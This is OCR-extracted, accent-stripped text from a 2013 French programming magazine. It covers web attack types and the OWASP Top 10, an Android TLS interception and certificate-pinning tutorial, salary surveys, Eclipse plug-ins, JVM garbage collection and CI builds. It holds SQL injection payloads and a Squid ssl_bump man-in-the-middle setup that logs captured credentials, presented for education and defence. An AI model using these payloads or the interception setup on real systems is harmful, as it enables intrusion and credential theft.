pensez mettre jour ce logiciel si l'opration ne se fait pas toute seule, pour bnficier des protections les plus rcentes.
Contre-mesure
La solution pour viter ce genre de problmes, consiste d'employer des emails diffrents suivant les secteurs d'activits :
rseaux sociaux, emails pro, sites marchands, actualits... Cette opration est un
peu lourde cause de la multitude d'emails,
mais devient ncessaire pour viter ce
genre d'attaque. Toutefois, les fournisseurs
dtectent les expditions qui utilisent cette
technique et par consquent bloquent la
source. Cependant, si l'exploit est possible, il
peut tre sanctionn par le code pnal.
> Phishing
Le phishing (hameonnage) est une attaque
qui passe principalement par les emails. Son
but est de tromper l'internaute travers une
action malveillante pour obtenir des informations confidentielles le concernant, par
exemple ses identifiants (login et mot de
passe), des informations bancaires, rseaux
sociaux, vente en ligne, etc... Ces informations rcoltes permettent dusurper l'identit de la personne pour voler toutes sortes
d'informations ou excuter diffrentes
actions. Si par erreur, vous cliquez sur ce
genre de message, il est important de vrifier l'URL de votre navigateur pour tre certain d'tre sur le bon site web.
Pour ne pas voir ce genre de message arriver dans votre messagerie, vous devez possder un logiciel anti-spam, mme si vous
faites confiance votre logiciel qui en poss-
Contre-mesure
Pour vous protger et viter ce genre d'attaque, 2 mthodes existent pour vous scuriser :
Tout d'abord du cot de l'internaute, c'est :
Allonger votre mot de passe avec un minimum de caractres
Utiliser une ponctuation diffrente avec
des chiffres, majuscules, minuscules, symboles
Bien sr, du ct des sites internet, ils doivent mettre en place :
Un minimum de caractres de saisie dans
les formulaires
La mise en place d'un nombre d'essais
possibles
La mise en place d'un captcha
Exemple : Vous pouvez essayer de vrifier la
rsistance de cryptage d'un mot avec diffrentes mthodes d'orthographe, comme
ceci :
programmez : 9 heures
Programmez : 1 an
Progr@mmez : 14 ans
Pr0gr@mm3z : 58 ans
Contre-mesure
La premire solution mettre en place,
c'est de dsactiver ce rseau si vous ne possdez aucune machine qui se connecte en
mode sans fil (wifi). Si ce n'est pas le cas, il
est prfrable de mettre le rseau le plus
lev.
> Conclusion
Dans cet article, nous vous avons montr
un chantillon des types d'attaques les plus
courantes. Les techniques de hacks sont
toutes diffrentes et voluent constamment.
Vous ne devez pas perdre de vue que mme
si une nouvelle protection apparat, celle-ci
possdera tt au tard une faille. C'est pourquoi il est important de bien mettre jour
les diffrents logiciels que vous utilisez.
# Christophe Villeneuve
Lead technique pour Neuros, auteur du livre PHP
& MySQL-MySQLi-PDO, Construisez votre application , aux ditions ENI. Rdacteur pour WebRIVER,
membre des Teams DrupalFR, AFUP, LeMug.fr,
Drupagora, PHPTV.
PROgrammez !
< 41 >
MAI
2013
malware
34-50
20/04/13
01:42
Page 42
i hacking
> La sortie
de tableau
La seule sortie de cette anne, concerne la faille Communications
non scurises .
Il s'agit de la protection insuffisante de la couche transport, c'est-dire que les applications sont souvent mal authentifies, chiffres et
protges au niveau de la confidentialit des informations, surtout
dans les rseaux de donnes dites 'sensibles'.
PROgrammez !
> Le classement !
Injection
Les attaques par injection sont stables depuis le dernier classement
il y a 3 ans, mais tiennent toujours le haut du classement.
Cela montre que les sites web ont encore beaucoup de travail pour
dtrner ce type d'attaque. L'injection est une grande famille, qui
regroupe l'ensemble des attaques par injection, telles que SQL, OS,
le code, les connexions non fiables (par exemple avec l'utilisation du
LDAP)... Ces donnes hostiles de l'attaquant peuvent tromper l'interprteur en excutant des commandes imprvues ou accder des
donnes non autorises.
Si vous ne mettez pas de filtres contrls sur les donnes entrantes,
vous avez un risque d'injection sur la requte SQL que vous utilisez
comme ceci :
$query = "SELECT * FROM utilisateur WHERE id=$_REQUEST ('id');
Une personne peut accder au contenu de la table 'utilisateur' s'il
envoie une URL de cette forme :
< 42 >
MAI
2013
34-50
20/04/13
01:42
Page 43
i hacking
Rfrences directes non scurises un objet
http://votreSite.com/user.php?id=' or '1'='1
Violation authentification
La violation authentification est une attaque qui progresse depuis
son apparition et c'est en toute logiquequon la retrouve en deuxime
position. Cette famille regroupe l'authentification et la gestion de session car elles ne sont pas souvent mises en uvre correctement. Le
rsultat est de compromettre les mots de passe importants, les
jetons de session ou encore l'identification envers d'autres personnes.
Par ailleurs, il est important de dfinir une dure de validit, car si
vous ne l'effectuez pas, vous risquez d'tre confront un libre
accs aux donnes.
Exemple : Vous vous identifiez sur un de vos comptes et cet ordinateur est accessible plusieurs personnes, vous fermez le navigateur. Une autre personne ouvre celui-ci et peut rcuprer votre
session en cours sans s'identifier.
Configuration incorrecte
La configuration incorrecte effectue une progression par rapport
la prcdente dition car elle se retrouve en 5e position.
Ce type d'attaque est associ plus exactement lors de :
Ralisation de projets
Utilisations de frameworks / CMS
Associations toutes sortes de serveurs (web, bases de donnes,
plateforme)
L'ensemble de ces paramtres doit tre correctement dfini et protg. C'est pourquoi, les attaques possibles touchent les fichiers de
connexion ou de paramtrage pour faire fonctionner votre application. Par consquent, lors d'un dploiement, il est important de
scuriser les fichiers les plus sensibles.
Gnralement, lorsque vous vous appuyez sur une application gnrique (framework, CMS, ERP, CRM...), ces fichiers ne sont pas toujours protgs, et c'est vous de raliser cette opration.
Si vos dossiers et sous-dossiers peuvent tre visibles, alors n'importe qui peut consulter et rcuprer leur contenu. Pour cela, vous pouvez crer un fichier index.php avec le contenu suivant :
<?php
header("Location: ../index.php");
?>
L'exemple montre une redirection vers le dossier au-dessus, ainsi,
vous retrouvez la page index de votre site web.
Fig.A
Fig.B
PROgrammez !
< 43 >
MAI
Ce type d'attaque s'intitulait en 2010 Stockage cryptographique non scuris , mais continue sa progression
dans le classement pour arriver en 6e position.
Ces donnes sensibles peuvent tre reprsentes sous
diffrentes formes. Elles touchent principalement les
applications car elles font appel des donnes que vous
seul pouvez connatre. Par exemple vos cartes de crdits, vos identifiants d'authentification. Le risque c'est
2013
34-50
20/04/13
01:42
Page 44
i hacking
qu'on vous vole ces donnes importantes ou qu'on vous les modifie
votre insu. En rsum, vous risquez de perdre votre identit sur le
net et une autre personne va raliser des oprations malhonntes
votre place.
Exemple :
<?php
echo "MD5 : ".md5 ('programmez')."<br>";
echo "SHA1 : ".sha1 ('programmez')."<br>";
echo "Hash 512 : ".hash ('sha512','programmez')."<br>";
?>
Rsultat :
MD5 : 141b63d75fc2b2852687cbc66469e93c
SHA1 : f35cce0a3e30c8b444f7340b6ef26ee7fdd658c2
Hash 512 : 1b1a42f2e00b7935500f953bca0271500713a3471a45919cef
197c91879fcb59a5b7a91e1d7ebc54cb1b952dce941f988481eead3352641
27cd7c23721ae4407
C'est la seule entre de ce classement 2013 et qui arrive directement en 9e position. Il est important d'en prendre conscience, car
de plus en plus de projets comme :
Des bibliothques
Des librairies
Des frameworks / CMS
Dautres modules externes
les utilisent et sont maintenus par diffrents contributeurs impliqus
dans ces projets. Si vous ne suivez pas leur actualit, vous risquez
de subir des attaques travers eux et le rsultat peut provoquer la
perte de donnes graves ou la prise de contrle de votre serveur
par un tiers.
> Conclusion
Nous remercions OWASP pour ce rapport rgulier et mondial, car il
permet de dresser la situation des risques de scurit applicatifs
web les plus critiques.
Grce lui, les socits peuvent prendre conscience des nombreux
risques qu'il ne faut pas prendre la lgre. OWASP est un organisme neutre, indpendant et propose diffrentes solutions pour aider
les professionnels djouer ces diffrentes attaques. L'ensemble de
ces informations est disponible sur le site officiel.
Site officiel OWASP :
http://www.owasp.org
Rapport 2013rc1 :
http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20%202013%20-%20RC1.pdf
Rapport 2010 en franais :
http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20%202010%20French.pdf
Tous les rapports :
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
# Christophe Villeneuve
Lead technique pour Neuros, auteur du livre PHP & MySQL-MySQLi-PDO,
construisez votre application , aux ditions ENI. Rdacteur pour WebRIVER,
membre des Teams DrupalFR, AFUP, LeMug.fr, Drupagora, PHPTV.
< 44 >
MAI
2013
34-50
20/04/13
01:42
Page 45
i hacking
Fig.1
Fig.3
< 45 >
MAI
2013
34-50
20/04/13
01:42
Page 46
i hacking
dutilisateur valide, on peut se connecter en tant que abcd' or 1=1 :-Le traitement de la requte ct serveur sera :
Select * From users where login='abcd' or 1=1;-- and password=
'mauvais_mdp';
Rsultat : on russit sauthentifier sans connatre ni nom dutilisateur ni mot de passe.
SQL tant un langage part entire, lexploitation dune faille dinjection SQL offre beaucoup de possibilits au pirate notamment : lusurpation didentit, le contournement de rgles de gestion et
laltration de donnes. Dans le pire des cas, lattaquant utilise cette
vulnrabilit pour invoquer des procdures stockes spciales de la
base de donnes qui lui permettent de prendre le contrle total du
serveur hbergeant la base.
La meilleure solution pour empcher cette attaque consiste utiliser
une API scurise qui permet de se passer de linterprteur ou qui
fournit une interface de paramtrage des requtes. Voici quelques
recommandations qui dpendent de la technologie utilise :
Java EE
.NET
PHP
Hibernate
SQLite
Fig.4
PROgrammez !
< 46 >
MAI
2013
20/04/13
01:42
Page 47
i hacking
PROgrammez !
D.R.
34-50
< 47 >
MAI
2013
34-50
20/04/13
01:42
Page 48
i hacking
mode pour la connexion rseau, nous allons donc la modifier et choisir comme mode daccs rseau un Accs par pont et notre interface vnet0. Notez quavec AndroVM, cest la carte 2 quil faudra
configurer. Une fois cela fait, il suffit de lancer la machine virtuelle.
On peut voir dans les paramtres ladresse IP qui lui a t attribue
(normalement 172.16.0.254 avec la configuration ci-dessus). Un
rapide test avec le navigateur va nous permettre de vrifier que tout
fonctionne correctement, et quil est possible daccder Internet
depuis la machine virtuelle [Fig.1].
Que peut-on faire avec cette machine virtuelle ? Le fait davoir une
interface rseau ddie va tout dabord grandement simplifier la
capture du trafic rseau avec des outils tels que tcpdump ou Wireshark. Mais surtout, il va devenir possible de jouer avec iptables afin
de rediriger loisir le trafic rseau.
On pourra par exemple simuler la panne dun serveur en droppant
tous les paquets qui lui sont destins :
Fig.1
de voir plus facilement passer les logins et mots de passe dans les
logs de Squid, mais une requte en POST ne sera pas plus scurise
pour autant. On configure ensuite Squid, afin quil agisse comme un
proxy transparent entre le serveur et le client. Depuis la version 3.1,
celui-ci propose loption ssl_bump, qui permet de forger la vole
des certificats afin dusurper lidentit du serveur. Nous allons avoir
besoin pour cela dun certificat racine, quil est possible de gnrer
avec OpenSSL :
openssl req -new -newkey rsa:1024 -days 365 -nodes -x509 keyout monca.pem -out monca.pem
Par dfaut, notre client Android nacceptera pas de connexions si le
certificat nest pas sign par une autorit reconnue. Lattaque reste
cependant possible dans deux cas :
Si un des certificats racines, prenregistrs par le systme, ou un
certificat qui en serait issu, se retrouve entre les mains dune personne mal intentionne. Si ce cas de figure reste en pratique trs
rare, il nest pas exclure.
Si un autre certificat racine se retrouve install sur le tlphone,
linsu ou non de son propritaire. Nimporte qui peut facilement installer sur son propre tlphone un certificat, ce qui ne lui sera pas
utile pour rcuprer ses propres identifiants de connexions, mais
permettra par contre de capturer en clair le trafic rseau dune
application. Certains dveloppeurs utilisent par exemple une API
serveur quils prfrent conserver secrte, et utilisent pour cela
une connexion chiffre.
if (response.getStatusLine().getStatusCode() == 200) {
return true;
}
} catch (ClientProtocolException e) {
Log.d(MYAPP, ClientProtocolException + e);
} catch (IOException e) {
Log.d(MYAPP, IOException + e);
}
return false;
}
On suppose ici que le serveur rpondra par une erreur 403 en cas
derreur dauthentification. La requte est effectue ici en GET, afin
PROgrammez !
Fig.2
< 48 >
MAI
2013
34-50
20/04/13
01:42
Page 49
i hacking
Cette option se trouve dans la section Scurit des paramtres
Android et se nomme Installer depuis la mmoire. Il faut pour cela
placer le certificat au format DER sur le tlphone. On va donc
convertir notre fichier .pem et le pousser sur lmulateur :
openssl x509 -in monca.pem -outform DER -out monca.der
adb push monca.der /mnt/sdcard
Puis effectuer limport dans les paramtres Android. On peut ensuite configurer Squid pour configurer loption ssl_bump dans le
fichier /etc/squid3/squid.conf en ajoutant les lignes suivantes :
https_port 3129 intercept ssl-bump generate-host-certificates
=on dynamic_cert_mem_cache_size=4MB cert=/etc/squid3/monca.pem
Avec cette option active, Squid ira interroger le serveur de destination avant de gnrer le certificat, afin dobtenir son nom de domaine. En refaisant le test prcdent dans un navigateur sur le client,
on constate alors que cette fois, nous navons plus davertissement
quant linvalidit du certificat : [Fig.5].
En tentant la connexion depuis notre application, la requte apparat
cette fois dans le fichier de logs de Squid (par dfaut dans
/var/log/squid3/access.log), qui la correctement relaye, et lutilisateur na aucun moyen de savoir quil est pass par le proxy :
1364492113.442686 172.16.0.254 TCP_MISS/200 281 GET https://my
server.com/?login=me@provider.com&password=pass - PINNED/92.42.
13.37 text/html
Fig.3
PROgrammez !
Fig.4
< 49 >
MAI
Fig.5
2013
34-50
20/04/13
01:42
Page 50
i hacking
protected X509HostnameVerifier parentVerifier;
private static final String SIGNATURE = "844ddee3908c032604f1
9e38af90f9a3";
public CustomHostnameVerifier(X509HostnameVerifier parent) {
if (parent instanceof CustomHostnameVerifier) {
parentVerifier = ((CustomHostnameVerifier) parent).parent
Verifier;
} else {
parentVerifier = parent;
}
}
@Override
public void verify(String host, String[] cns, String[] subjectAlts)
throws SSLException {
parentVerifier.verify(host, cns, subjectAlts);
}
@Override
public void verify(String host, X509Certificate cert) throws
SSLException {
parentVerifier.verify(host, cert);
}
@Override
public boolean verify(String host, SSLSession session) {
return parentVerifier.verify(host, session);
}
@Override
public void verify(String host, SSLSocket ssl) throws IOException {
parentVerifier.verify(host, ssl);
}
}
Dans le constructeur, la vrification du type de verifier permet dviter une encapsulation rcursive : si on attache le HostnameVerifier
de notre HttpClient plus dune fois, on risque davoir un CustomHostnameVerifier dans un CustomHostnameVerifier... ce qui risque de
finir en une norme chane qui va saturer la mmoire.
Notre classe va appeler pour chaque mthode celle dfinie dans
parentVerifier, ce qui nous permet de conserver toutes les vrifications de certificat existantes. Nous avons juste ajout dans la dernire la vrification du hash MD5 du certificat, compar avec celui
prdfini dans le code. Ici, cest le certificat racine que nous avons
choisi de vrifier, mais nous pouvons aussi vrifier le certificat du
serveur directement, celui-ci tant le premier lment du tableau.
Pour utiliser cette classe comme vrificateur de certificat, il suffit
alors de lattacher notre client HTTP en ajoutant quelques lignes
aprs linitialisation de celui-ci :
DefaultHttpClient client = new DefaultHttpClient();
SSLSocketFactory sslSocketFactory = (SSLSocketFactory) client.get
ConnectionManager().getSchemeRegistry().getScheme("https").get
SocketFactory();
X509HostnameVerifier verifier = sslSocketFactory.getHostname
Verifier();
sslSocketFactory.setHostnameVerifier(new CustomHostnameVerifier
(verifier));
PROgrammez !
digest.reset();
digest.update(b, 0, b.length);
return new BigInteger(1, digest.digest()).toString(16);
} else {
return "";
}
} catch (NoSuchAlgorithmException e) {
Log.e(MYAPP, No MD5 algorithm);
}
return "";
Cette initialisation doit tre faite une seule fois, aprs la cration du
DefaultHttpClient. Ainsi, lorsque sera tente la connexion au serveur, nous verrons dans les logs de lapplication lerreur suivante :
E/MYAPP ( 1796): IOException javax.net.ssl.SSLException: Wrong
signature received : 80ecee8f4ca0da7cbbf42ad11e5209ae
Nous avons vu en quoi une connexion crypte peut tre attaque, ce
qui donne dautant plus dimportance la chane de confiance instaure par les autorits de certification.
Noublions jamais quaucune scurit ne peut tre considre
comme totalement fiable, et que toute protection supplmentaire
est bonne prendre. Si en pratique, le risque quun utilisateur subisse cette attaque sans le savoir est faible, elle est en revanche trs
facile reproduire pour quelquun qui voudrait observer en dtail la
communication entre une application et un serveur. Une bonne
faon aussi pour nous de voir quelles informations indiscrtes sont
souvent remontes notre insu par ces milliers dapplications pas
toujours transparentes.
# Lo Cacheux
Dveloppeur Android chez Genymobile
< 50 >
MAI
2013
51-54
20/04/13
00:27
Page 51
i carrire
Mtier
Analyste-programmeur
Dveloppeur (ingnieur)
Ingnieur qualit / mthode
Chef de projet tude / dv.
Architecte (tude / dv.)
Directeur technique (tude /dv.)
DBA
Ingnieur rseau
Directeur informatique
Consultant ERP
0-2 ans
2-5 ans
5-10 ans
> 10 ans
25/30
40
30/33
38
30/35
32/36
-
30/35
45/50
33/38
38/45
45
35/45
36/44
35/42
35/40
55/65
38/42
45/55
55/65
65/75
45/60
44/48
60/80
45/60
40/45
65/75
42/45
55/60
65/75
80/100
60/70
48/53
80/100
60/75
Et Londres,
on gagne combien ?
Ltude Robert Walters est, rappelons-le, mondiale. Prenons
par exemple les salaires annuels sur Londres.
40-70
Dveloppeur C#
40-65
Dveloppeur PHP
30-50
Dveloppeur Java
45-65
55-85
Dveloppeur .net
55-90
Dveloppeur C++
55-90
Dveloppeur Java
55-90
Salaire en (2013)
< 51 >
MAI
2013
51-54
20/04/13
00:28
Page 52
i carrire
Dans le mme esprit, le cabinet Robert Walters a publi une norme tude sur les rmunrations au niveau mondial ! Outre son
approche trs globale, elle fournit aussi une vue sur plusieurs
grandes villes franaises.
Mtier
Ingnieur dveloppement /
dba / rseau
5-8 ans
8-15 ans
> 15 ans
40/50
50/90
50/90
85/140
+130
75/95
+100
Directeur technique
Spcialiste scurit
60/75
ENQUTE PROGRAMMEZ !
Des variables
difficiles comparer
Une dizaine de SSII, totalisant un
effectif total dun millier de salaris
dans le secteur du dveloppement,
ont accept de rpondre notre
questionnaire.
Les salaires incluent souvent en complment une partie variable
individuelle tous les consultants , nous a prcis Carl Azoury,
PDG dune SSII du panel, Zenika. Cette partie variable est directement lie son rsultat et reprsente en moyenne 4 000 euros
brut par an ajoute-t-il. Certaines entreprises ont pu inclure des
variables dans leur moyenne de salaires, dautres non.
Mais notre panel inclut plusieurs socit de services de taille petite ou moyenne (moins de 100 personnes), souvent assez spcialises et la recherche de profils assez pointus. Dans notre
chantillon, une socit de conseils, avec un type de mission
base sur le conseil et lexpertise rmunre ses dveloppeurs
dbutants 39 000 par an.
# Franois Tonic
PROgrammez !
< 52 >
MAI
2013
51-54
20/04/13
00:28
Page 53
51-54
20/04/13
00:28
Page 54
i carrire
> Province : -10% -12%,
Rgions
sauf sur certains profils, plus rares ?
Cela ntonnera personne : les salaires sont moindres en rgion. Les
entreprises profitent-elles du fait que la concurrence est moindre,
par rapport la rgion parisienne. Il est vrai aussi que le cot de la
vie est gnralement plus bas.
Paradoxalement, notre panel pointe des profils qui seront parfois
mieux pays en province qu Paris. Cest ce qui ressort par exemple
pour les intgrateurs web et les administrateurs systmes/rseau
SALAIRE
annuel moyen (en )
Paris - Ile de France
Exprience
0-2 ans
2-5 ans
> 5 ans
Dveloppeur
26 633
34 000
36 000
Architecte
33 000
37 000
40 000
Chef de projet
34 000
38 000
42 000
Intgrateur Web
32 000
36 000
39 000
Graphistes/designers
Ingnieur /admin Systme/ Rseau
30 000
32 000
35 000
Les meilleurs
SALAIRES (en )
0-2 ans
2-5 ans
> 5 ans
Dveloppeur
34 280
38 857
46 015
0-2 ans
2-5 ans
> 5 ans
Architecte
35 000
43 500
55 540
Dveloppeur
39 000
44 000
49 000
Chef de projet
37 040
42 625
58 895
Architecte
35 000
45 000
63 000
Intgrateur Web
30 000
36 750
37 500
Chef de projet
43 000
69 000
76 000
Graphistes/designers
29 000
36 000
38 368
Intgrateur Web
34 000
41 000
42 000
43 125
Graphistes/designers
30 000
38 000
42 000
31 000
37 000
50 000
0-2 ans
2-5 ans
> 5 ans
Dveloppeur
35 000
40 000
43 000
Architecte
33 000
40 000
52 000
Chef de projet
38 000
47 000
50 000
Intgrateur Web
33 000
36 000
39 000
Graphistes/designers
Ingnieur /admin Systme/ Rseau
30 000
32 000
35 000
28 500
34 748
Rgions
0-2 ans
2-5ans
> 5ans
Dveloppeur
30 741
33 659
39 264
Architecte
33 000
38 694
51 960
Chef de projet
36 227
42 194
Intgrateur Web
32 000
36 000
Graphistes/designers
Ingnieur /admin Systme/ Rseau
30 000
31 250
33 947
35 000
SALAIRES minima
Attention : notre chantillon ne prtend pas la vrit scientifique.
Les chiffres minima sont ceux issus de ces questionnaires.
Ne refusez pas ncessairement un poste s il est plus bas que ces
chiffres !
Les SALAIRES
les plus bas
de notre panel
(en )
0-2 ans
Exprience
Rgions
Chefs et
directeurs de projets
Une SSII regroupant plus de 200 salaris dans la rgion parisienne
nous a indiqu ses salaires moyens de chefs et directeurs de
projets. Cela ntonnera personne, un directeur de projets bnficie
dune rmunration plus confortable : plus de 69 000 .
Exprience
2-5 ans
> 5 ans
45 504
50 141
52 008
53 598
Dveloppeur
25 000
34 000
39 000
Architecte
35 000
40 000
43 000
Chef de projet
31 500
38 000
45 000
50 426
Intgrateur Web
24 000
30 000
37 000
37 967
Graphistes/designers
29 000
34 000
35 000
28 000
33 000
36 000
69 329
(en )
# Jean Kaminsky
< 54 >
MAI
2013
55-58
20/04/13
00:30
Page 55
i je dbute avec...
Dmystifier le dveloppement
des plug-ins dEclipse (suite & fin)
Nous allons dans cette dernire partie parcourir rapidement deux aspects importants
pour les dveloppements des plug-ins, linternationalisation et le dploiement.
INTERNATIONALISATION
(INTERNATIONALIZATION) I18N
Java et Eclipse sont dots doutils puissants pour adapter un programme ou plug-in pour des langues diffrentes Pour toutes les oprations touchant linternationalisation, nous allons utiliser des
fragments de plug-in (plug-in fragment), comme un service de
langue. Le rsultat final de linternationalisation dans cette section
est davoir le plug-in utilisable la fois en anglais et en franais.
Fichier
Cl
plugin.xml
plugin.properties
plugin_fr.properties
Cl=valeur
%browserView
browserView=Visual XPath View
browserView=Visual XPath Fen\u00EAtre
Fig.1
Activer linternationalisation
PROgrammez !
Dans le projet du plug-in > un clic droit sur META-INF/MANIFEST.MF -> Slectionnez Run As -> Run Configurations. Slectionnez Eclipse Application -> Cliquez sur licne New launch
configuration. Dans Name (1) donnez un nom associ la langue
utilise. (2) Dans longlet Arguments > rubrique Program arguments, Notez que -nl ${target.nl} signifie simplement langue par
dfaut -nl = langue et ${target.nl} = de la cible (OS).
Modifiez la clause -nl, pour devenir -nl fr (en franais), ou nl en (en
anglais), etc. Click on Apply [Fig.2].
< 55 >
MAI
2013
55-58
20/04/13
00:30
Page 56
i je dbute avec...
> Tester le plug-in
Dans Project Explorer -> clic droit sur MANIFEST.MF -> Run As ->
Eclipse Application
Une bote de dialogue souvre, permettant de slectionner la configuration dexcution (en franais ou en anglais ou autres langues possdant une configuration dexcution) [Fig.3].
Fig.2
Fig.4
Lassistant dexternalisation
Fig.3
Fig.5
< 56 >
MAI
2013
55-58
20/04/13
00:30
Page 57
i je dbute avec...
messages.properties (fichier gnr automatiquement)
BrowserView_evaluate=evaluate
BrowserView_selectFile=select file
messages_fr.properties
BrowserView_evaluate=\u00E9valuate
BrowserView_selectFile=choisir un fichier
LE FRAGMENT DU PLUG-IN
Un fragment de plug-in est un composant rutilisable. Il permet de
complter un plug-in. Au moment de lexcution (runtime), La plateforme Eclipse trouve et fusionne le plug-in avec ses fragments. Un plug-in
a accs ses fragments via sa classloader. Un fragment peut contenir du code et des ressources. Les ressources internationalises sont
mises dans un emplacement spcifique du fragment. En utilisant des
fragments, on fabrique des services de langues pour les plug-ins.
Fig.7
Fig.6
Fragment du plug-in
Fig.8
< 57 >
MAI
2013
55-58
20/04/13
00:30
Page 58
i je dbute avec...
LE DPLOIEMENT
> Prparer le plug-in et le fragment pour
le dploiement.
Nous allons conditionner le plug-in et son fragment sous forme dun
fichier .jar. Cette tape est ncessaire, pour dployer le plug-in dans
une installation relle dEclipse.
Fig.9
Fig.11
Fig.10
Exporter le projet
Fig.12
Le plug-in install
PROgrammez !
< 58 >
MAI
2013
59-62
20/04/13
00:31
Page 59
i je dbute avec...
Comprendre le fonctionnement
de la machine virtuelle Java
2e partie
Dans le premier article de cette srie, nous avons vu comment la JVM optimise notre
code. A prsent, intressons-nous la manire dont la mmoire est gre et aux
diffrents Garbage Collectors.
> L'hypothse
gnrationnelle
Fig.2
Fig.1
PROgrammez !
< 59 >
MAI
2013
59-62
20/04/13
00:31
Page 60
i je dbute avec...
Fig.3
PROgrammez !
< 60 >
MAI
2013
59-62
20/04/13
00:31
Page 61
i je dbute avec...
Celui-ci suit la stratgie Mark, Sweep &
Compact et a donc un temps d'excution
plus long car proportionnel la taille de la
heap. Dans une JVM correctement tune,
pour une heap de quelques Go, les pauses
du ParallelOldGC peuvent prendre plusieurs
secondes. Ces temps de pauses augmentent considrablement lorsque la taille de la
heap se compte en dizaines de Go.
Il est possible de spcifier le nombre de
threads utilisables par les GC parallles via
l'option ParallelGCThreads (par exemple,
pour 8 threads, -XX:ParallelGCThreads=8).
PROgrammez !
< 61 >
MAI
2013
59-62
20/04/13
00:31
Page 62
i je dbute avec...
dmarrage du garbage collector plutt que
de le subir.
Cette approche a plusieurs inconvnients.
Tout d'abord, d'aprs la spcification Java,
un appel System.gc() n'entrane pas ncessairement le dmarrage du Garbage Collector. Il ne faut donc pas ncessairement
partir du postulat "Un appel System.gc()
lance le garbage collector". Dans OpenJDK,
cette mthode dclenche effectivement le
garbage collector, mais il ne s'agit que d'un
dtail d'implmentation.
Mais le vritable problme est que c'est un
full GC qui est dclench, ce qui provoquera
une pause dans l'application pour aller collecter des objets dans toute la heap (young
et old generation, ventuellement permanent generation).
Si le traitement prcdant l'appel System.gc() a produit des objets faible dure
de vie, alors ces derniers ont probablement
Lorsque l'on souhaite affiner le comportement de la JVM, il faut s'assurer de comprendre la situation courante et d'avoir les
informations requises pour pouvoir justifier
qu'un paramtrage diffrent donnera de
meilleurs rsultats. Pour cela, il est impratif d'avoir les logs d'excution du GC et de
solides connaissances sur le fonctionnement
des GC.
Dans cet article, nous avons pu voir que la
gestion de la mmoire est un sujet trs complexe et passionnant. Les ressources sont
nombreuses sur le sujet et il ne faut pas
hsiter exprimenter pour bien comprendre le fonctionnement interne de la
JVM.
> Conclusion
# Pierre Laporte
Formateur "Java Performance Tuning"
et consultant chez Xebia.
http://blog.xebia.fr
Abonnement Programmez !
Une formation et une veille technologique, prix rduit
www.programmez.com
PROgrammez !
< 62 >
MAI
2013
63-65
20/04/13
00:32
Page 63
i je dbute avec...
PROgrammez !
Fig.1
Fig.2
< 63 >
MAI
2013
63-65
20/04/13
00:33
Page 64
i je dbute avec...
Fig.3
PROgrammez !
< 64 >
MAI
2013
63-65
20/04/13
00:33
Page 65
i je dbute avec...
quant sur le lien Lancer un build. Une pop-in vous indiquera que
la compilation a dmarr et une nouvelle entre apparatra dans
lhistorique des builds. Cliquez sur celle-ci, vous obtiendrez plus
de dtails sur la compilation. Pour accder aux informations de
compilation, cliquez sur le lien Sortie Console, vous pourrez
analyser le rsultat des commandes de compilations effectues
par Jenkins.
Construire priodiquement
Scrutation de loutil de gestion de version
Dans notre cas, nous allons utiliser la deuxime option. Cochez-la,
une bote de texte apparaitra en dessous de celle-ci, qui permet de
dfinir lheure et le jour o lexcution de la tche doit avoir lieu. Cela
se dfinit en respectant la syntaxe cron (avec quelques diffrences).
Chaque ligne permet de dfinir une planification, celles-ci doivent
tre dfinies par 5 champs diffrents, spars par une tabulation ou
des espaces (syntaxe de cron):
Minutes
Heures
Jour du mois
Mois
Jour de la semaine
Par exemple :
#
*
#
5
Lensemble des rpertoires et sous-rpertoires dans lespace de travail de votre tche sera maintenant attribu lutilisateur jenkins.
Votre tche est maintenant prte tre excute.
Allez sur la page daccueil de celle-ci et lancez une compilation en cli-
PROgrammez !
< 65 >
# Vincent Saluzzo
Ingnieur tude et dveloppement
Expert en dveloppement iOS
MAI
2013
66-69
20/04/13
00:35
Page 66
i je dbute avec...
NIGHTLY BUILD ?
La Build nocturne, ou Nightly Build en
anglais, possde des similarits avec la Build
dintgration continue. Elle reprend trs souvent comme base une Build dintgration
continue, tout en lui ajoutant des tapes supplmentaires telles que les tests dintgration continue, le packaging ou encore le
dploiement. Par dfinition, une Build, continue ou nocturne, lance la construction dune
application. Pour cela, de nombreuses
tapes sont effectues, avec pour finalit la
compilation du code source et la gnration
de binaires de formats divers (.dll, .exe, .jar,
.bin, etc.). noter que dans le cadre de projets utilisant des langages non compils en
Byte code, tels que PHP, ltape de compilation se voit ignore, mais les autres tapes
restent toujours aussi importantes. Dans le
cadre dune Build dintgration continue,
lexcution dune Build est dclenche aprs
chaque modification du code source. Cela
permet de sassurer que les modifications
nentranent pas un chec de la compilation
de lapplication. Chaque autre dveloppeur
peut alors sereinement rcuprer ces altrations, sans risque de provoquer un chec de
compilation sur leur environnement de travail. On dtecte souvent durant cette tape
des problmes de rfrences ou de dpendances. On dtecte galement les check in
(archivage des modifications) un peu trop
htifs et parfois incomplets, pour les quels la
vrification de la bonne compilation de lapplication en local na pas t effectue. Il est
normalement ncessaire de rajouter une
tape dexcution des tests unitaires la
Build dintgration continue. Cette tape,
> Un accompagnement
au changement souvent
ncessaire
Si la mise en place des Build dquipe (intgration continue + nocturne) est la base
PROgrammez !
< 66 >
MAI
2013
> Accompagnement
ladoption des standards
de lentreprise grce aux
Builds dquipe
Un autre rle souvent attribu la Build
dquipe, est celui doutil danalyse. En effet,
de nombreux outils permettant de suivre et
de contrler lvolution du code source existent, et il nest pas rare de voir limplmentation de ceux-ci au sein des Builds dquipe.
Suivant la dure dexcution et le besoin de
rafrachissement de loutil danalyse, on placera ce dernier dans une Build dintgration
66-69
20/04/13
00:35
Page 67
i je dbute avec...
continue ou dans une Build Nocturne.
Parmi ces outils, on en trouve concernant la
syntaxe du code, tels que Lint ou encore
Code Analysis. Ceux-ci vont gnrer des
avertissements, voire des erreurs dexcution de Build si les standards dutilisation ou
de nommage ne sont pas respects, etc.
La gnration de mtriques concernant la
maintenabilit du code, la couverture de
code, etc. est souvent une tape importante
pour la direction. Ces mesures peuvent tre
obtenues via des outils tels que Sonar, ou
encore Metrics.exe [Fig.2].
LA BOTE OUTILS
DU PARFAIT PETIT
INTGRATEUR
Un processus de Build peut se rsumer un
squencement dactions effectuer. lheure actuelle, de nombreux outils sont disponibles pour remplir ce rle, en voici une
slection :
Le plus simple : Un script shell / batch
faisant appel diffrents outils en ligne de
commande tels que la copie de fichier, le
lancement de la compilation, etc.
